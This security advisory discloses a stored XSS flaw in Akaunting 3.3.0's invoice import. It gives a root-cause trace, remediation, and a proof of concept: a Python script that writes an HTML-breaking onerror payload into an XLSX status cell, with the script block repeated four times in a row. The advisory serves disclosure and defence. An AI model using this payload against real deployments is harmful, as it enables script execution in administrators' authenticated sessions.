Akaunting 3.3.0 - Stored XSS in invoice edit form through imported status

7

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Abstract

Fluid Attacks' AI SAST detected CVE-2026-118855, a high-severity stored XSS vulnerability (CWE-79) in Akaunting 3.3.0. A Manager can execute code in an administrator's browser through an imported invoice status. It has a CVSS v4.0 base score of 7.0. This advisory includes a proof of concept.

Summary

Full name

Akaunting 3.3.0 - Stored cross-site scripting through XLSX-imported document status rendered in the invoice edit hidden-input attribute

Code name

State

Public

Release date

Affected product

Akaunting

Vendor

Akaunting

Affected version(s)

3.3.0

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.0

Exploit available

Yes

Description

Akaunting 3.3.0 contains a stored cross-site scripting vulnerability in its invoice-import workflow. An authenticated Manager can import an XLSX document whose status cell contains HTML. When a second user opens the resulting invoice's edit page, Akaunting places that stored value into a hidden input using raw Blade output, allowing attacker-controlled markup to be parsed in the second user's authenticated browser session.

Vulnerability

Root cause

The status field is a document-state value, not a rich-text field. Akaunting's own commented validation rule enumerates the expected states (draft, paid, partial, sent, received, viewed, and cancelled), but the active rule is only required|string. Consequently, the spreadsheet importer accepts and persists arbitrary HTML in documents.status.

The edit form then renders this untrusted value into a double-quoted HTML attribute with Blade's raw {!! !!} syntax. Attribute serialization is not performed, so a value that closes the value attribute can add a new element with an event handler. This is not intended spreadsheet-import behavior: invoice status is an internal workflow state and the UI renders it as a hidden form value.

Source-to-sink path

  1. A user with create-sales-invoices submits an XLSX file to POST /{company}/sales/invoices/import. The route dispatches Sales\\Invoices::import().

  2. app/Imports/Sales/Invoices/Invoices.php maps the invoices worksheet to app/Imports/Sales/Invoices/Sheets/Invoices.php.

  3. Sheets\\Invoices::map() calls App\\Abstracts\\Import::map(), which only normalizes invalid UTF-8; it does not encode HTML. Its model() method returns new Document($row).

  4. App\\Abstracts\\Import::withValidator() instantiates App\\Http\\Requests\\Document\\Document for each import row and applies its rules. The active validation rule at app/Http/Requests/Document/Document.php:52 is required|string for status; the restrictive in: rule immediately above it is commented out. Document::$fillable includes status, so the supplied value is stored.

  5. Sales\\Invoices::edit() passes the document to the edit view. App\\View\\Components\\Documents\\Form\\Content::render() reads $this->document->status, and resources/views/components/documents/form/content.blade.php passes it to <x-form.input.hidden name="status">.

  6. resources/views/components/form/input/hidden.blade.php:4 renders value="{!! $value !!}". A stored value beginning with an attribute-closing sequence and an HTML element is therefore interpreted by the browser as markup when the edit form loads.

Impact

An attacker can execute JavaScript in the origin and authenticated session of a user who opens the malicious invoice edit form. The script can read data exposed to that session and issue same-origin requests permitted by that session.

PoC

Preconditions

Use Akaunting 3.3.0 with a test database and test company. Create one account with the predefined Manager role and a separate Administrator account in that company. The Manager has sales-invoices: c,r,u,d, but not user-management permission. Keep invitation delivery local or disabled and use separate browser profiles for the two accounts.

Step-by-step

  1. Install the released 3.3.0 tag locally, complete installation, create company ID 1, and confirm the version.

  2. As the initial Administrator, create a user with the predefined Manager role and sign in through a separate browser profile.

  3. In an empty local directory, run the following Python generator. It creates documentstatus-safe-marker.xlsx with the six worksheet names declared by Akaunting's importer and sets invoices.status to a payload that only displays an XSS alert. Run sha256sum after generation and retain the output with the test notes.

    python3 -m pip install openpyxl
    python3 - <<'PYCODE'
    from openpyxl import Workbook
    
    payload = '"><img src=x onerror="alert(\'XSS\')">'
    invoice_headers = [
        'invoice_number', 'order_number', 'status', 'invoiced_at', 'due_at',
        'amount', 'discount_type', 'discount_rate', 'currency_code',
        'currency_rate', 'category_name', 'contact_name', 'contact_email',
        'contact_tax_number', 'contact_phone', 'contact_address',
        'contact_country', 'contact_state', 'contact_zip_code',
        'contact_city', 'title', 'subheading', 'notes', 'footer', 'template',
        'color',
    ]
    sheets = {
        'invoices': invoice_headers,
        'invoice_items': ['invoice_number', 'item_name', 'item_description',
                          'item_type', 'quantity', 'discount_type',
                          'discount_rate', 'price', 'total', 'tax'],
        'invoice_item_taxes': ['invoice_number', 'item_name', 'tax_name',
                               'tax_rate', 'amount'],
        'invoice_histories': ['invoice_number', 'status', 'notify',
                              'description'],
        'invoice_totals': ['invoice_number', 'code', 'name', 'amount',
                           'sort_order'],
        'invoice_transactions': ['invoice_number', 'transaction_number',
                                 'paid_at', 'amount', 'currency_code',
                                 'currency_rate', 'account_name',
                                 'contact_email', 'category_name',
                                 'description', 'payment_method', 'reference',
                                 'reconciled'],
    }
    
    workbook = Workbook()
    workbook.remove(workbook.active)
    for name, headers in sheets.items():
        worksheet = workbook.create_sheet(name)
        worksheet.append(headers)
    
    workbook['invoices'].append([
        'DOCSTATUS-PUBLIC-1', '', payload, '2026-10-27', '2026-11-27',
        '100', '', '', 'USD', '1', 'Income', 'Public PoC Customer',
        '[email protected]', '', '', '', '', '', '', '', 'invoice', '', '',
        '', 'default', '#55588b',
    ])
    workbook.save('documentstatus-safe-marker.xlsx')
    PYCODE
    
    sha256sum documentstatus-safe-marker.xlsx
    python3 -m pip install openpyxl
    python3 - <<'PYCODE'
    from openpyxl import Workbook
    
    payload = '"><img src=x onerror="alert(\'XSS\')">'
    invoice_headers = [
        'invoice_number', 'order_number', 'status', 'invoiced_at', 'due_at',
        'amount', 'discount_type', 'discount_rate', 'currency_code',
        'currency_rate', 'category_name', 'contact_name', 'contact_email',
        'contact_tax_number', 'contact_phone', 'contact_address',
        'contact_country', 'contact_state', 'contact_zip_code',
        'contact_city', 'title', 'subheading', 'notes', 'footer', 'template',
        'color',
    ]
    sheets = {
        'invoices': invoice_headers,
        'invoice_items': ['invoice_number', 'item_name', 'item_description',
                          'item_type', 'quantity', 'discount_type',
                          'discount_rate', 'price', 'total', 'tax'],
        'invoice_item_taxes': ['invoice_number', 'item_name', 'tax_name',
                               'tax_rate', 'amount'],
        'invoice_histories': ['invoice_number', 'status', 'notify',
                              'description'],
        'invoice_totals': ['invoice_number', 'code', 'name', 'amount',
                           'sort_order'],
        'invoice_transactions': ['invoice_number', 'transaction_number',
                                 'paid_at', 'amount', 'currency_code',
                                 'currency_rate', 'account_name',
                                 'contact_email', 'category_name',
                                 'description', 'payment_method', 'reference',
                                 'reconciled'],
    }
    
    workbook = Workbook()
    workbook.remove(workbook.active)
    for name, headers in sheets.items():
        worksheet = workbook.create_sheet(name)
        worksheet.append(headers)
    
    workbook['invoices'].append([
        'DOCSTATUS-PUBLIC-1', '', payload, '2026-10-27', '2026-11-27',
        '100', '', '', 'USD', '1', 'Income', 'Public PoC Customer',
        '[email protected]', '', '', '', '', '', '', '', 'invoice', '', '',
        '', 'default', '#55588b',
    ])
    workbook.save('documentstatus-safe-marker.xlsx')
    PYCODE
    
    sha256sum documentstatus-safe-marker.xlsx
    python3 -m pip install openpyxl
    python3 - <<'PYCODE'
    from openpyxl import Workbook
    
    payload = '"><img src=x onerror="alert(\'XSS\')">'
    invoice_headers = [
        'invoice_number', 'order_number', 'status', 'invoiced_at', 'due_at',
        'amount', 'discount_type', 'discount_rate', 'currency_code',
        'currency_rate', 'category_name', 'contact_name', 'contact_email',
        'contact_tax_number', 'contact_phone', 'contact_address',
        'contact_country', 'contact_state', 'contact_zip_code',
        'contact_city', 'title', 'subheading', 'notes', 'footer', 'template',
        'color',
    ]
    sheets = {
        'invoices': invoice_headers,
        'invoice_items': ['invoice_number', 'item_name', 'item_description',
                          'item_type', 'quantity', 'discount_type',
                          'discount_rate', 'price', 'total', 'tax'],
        'invoice_item_taxes': ['invoice_number', 'item_name', 'tax_name',
                               'tax_rate', 'amount'],
        'invoice_histories': ['invoice_number', 'status', 'notify',
                              'description'],
        'invoice_totals': ['invoice_number', 'code', 'name', 'amount',
                           'sort_order'],
        'invoice_transactions': ['invoice_number', 'transaction_number',
                                 'paid_at', 'amount', 'currency_code',
                                 'currency_rate', 'account_name',
                                 'contact_email', 'category_name',
                                 'description', 'payment_method', 'reference',
                                 'reconciled'],
    }
    
    workbook = Workbook()
    workbook.remove(workbook.active)
    for name, headers in sheets.items():
        worksheet = workbook.create_sheet(name)
        worksheet.append(headers)
    
    workbook['invoices'].append([
        'DOCSTATUS-PUBLIC-1', '', payload, '2026-10-27', '2026-11-27',
        '100', '', '', 'USD', '1', 'Income', 'Public PoC Customer',
        '[email protected]', '', '', '', '', '', '', '', 'invoice', '', '',
        '', 'default', '#55588b',
    ])
    workbook.save('documentstatus-safe-marker.xlsx')
    PYCODE
    
    sha256sum documentstatus-safe-marker.xlsx
    python3 -m pip install openpyxl
    python3 - <<'PYCODE'
    from openpyxl import Workbook
    
    payload = '"><img src=x onerror="alert(\'XSS\')">'
    invoice_headers = [
        'invoice_number', 'order_number', 'status', 'invoiced_at', 'due_at',
        'amount', 'discount_type', 'discount_rate', 'currency_code',
        'currency_rate', 'category_name', 'contact_name', 'contact_email',
        'contact_tax_number', 'contact_phone', 'contact_address',
        'contact_country', 'contact_state', 'contact_zip_code',
        'contact_city', 'title', 'subheading', 'notes', 'footer', 'template',
        'color',
    ]
    sheets = {
        'invoices': invoice_headers,
        'invoice_items': ['invoice_number', 'item_name', 'item_description',
                          'item_type', 'quantity', 'discount_type',
                          'discount_rate', 'price', 'total', 'tax'],
        'invoice_item_taxes': ['invoice_number', 'item_name', 'tax_name',
                               'tax_rate', 'amount'],
        'invoice_histories': ['invoice_number', 'status', 'notify',
                              'description'],
        'invoice_totals': ['invoice_number', 'code', 'name', 'amount',
                           'sort_order'],
        'invoice_transactions': ['invoice_number', 'transaction_number',
                                 'paid_at', 'amount', 'currency_code',
                                 'currency_rate', 'account_name',
                                 'contact_email', 'category_name',
                                 'description', 'payment_method', 'reference',
                                 'reconciled'],
    }
    
    workbook = Workbook()
    workbook.remove(workbook.active)
    for name, headers in sheets.items():
        worksheet = workbook.create_sheet(name)
        worksheet.append(headers)
    
    workbook['invoices'].append([
        'DOCSTATUS-PUBLIC-1', '', payload, '2026-10-27', '2026-11-27',
        '100', '', '', 'USD', '1', 'Income', 'Public PoC Customer',
        '[email protected]', '', '', '', '', '', '', '', 'invoice', '', '',
        '', 'default', '#55588b',
    ])
    workbook.save('documentstatus-safe-marker.xlsx')
    PYCODE
    
    sha256sum documentstatus-safe-marker.xlsx


  4. As the Manager, open Importer → Import Invoices and upload documentstatus-safe-marker.xlsx. Confirm Invoices imported! and identify the new invoice.

  5. In the Administrator browser profile, open GET /{company}/sales/invoices/{invoice}/edit, replacing {invoice} with the imported invoice ID.

  6. The browser displays an XSS alert. Close it without saving the invoice; this confirms that the imported value reached the raw hidden-input sink.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-118855 to refer to this issue from now on.

Disclosure policy

System information

  • Product: Akaunting

  • Version: 3.3.0

  • Operating System: Any supported Akaunting deployment

References

Solution and workaround

Solution

Akaunting should restore an allowlist for document statuses, including in spreadsheet-import validation, and reject values outside supported state identifiers. It should also replace raw Blade output in the hidden-input component with context-appropriate escaped output, for example value="{{ $value }}". The output encoding change is necessary even if input validation is restored, because the shared component may receive untrusted values from other flows.

Workaround and temporary mitigation

Until a fix is available, restrict invoice-import permission to trusted users and prevent privileged users from opening edit pages for newly imported invoices from untrusted sources. Administrators can also inspect and remove document rows whose status is not one of the supported state identifiers. These measures reduce exposure but do not replace a code fix.

Credits

The vulnerability was detected by AI SAST Scanner and disclosed by Miguel Gómez from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.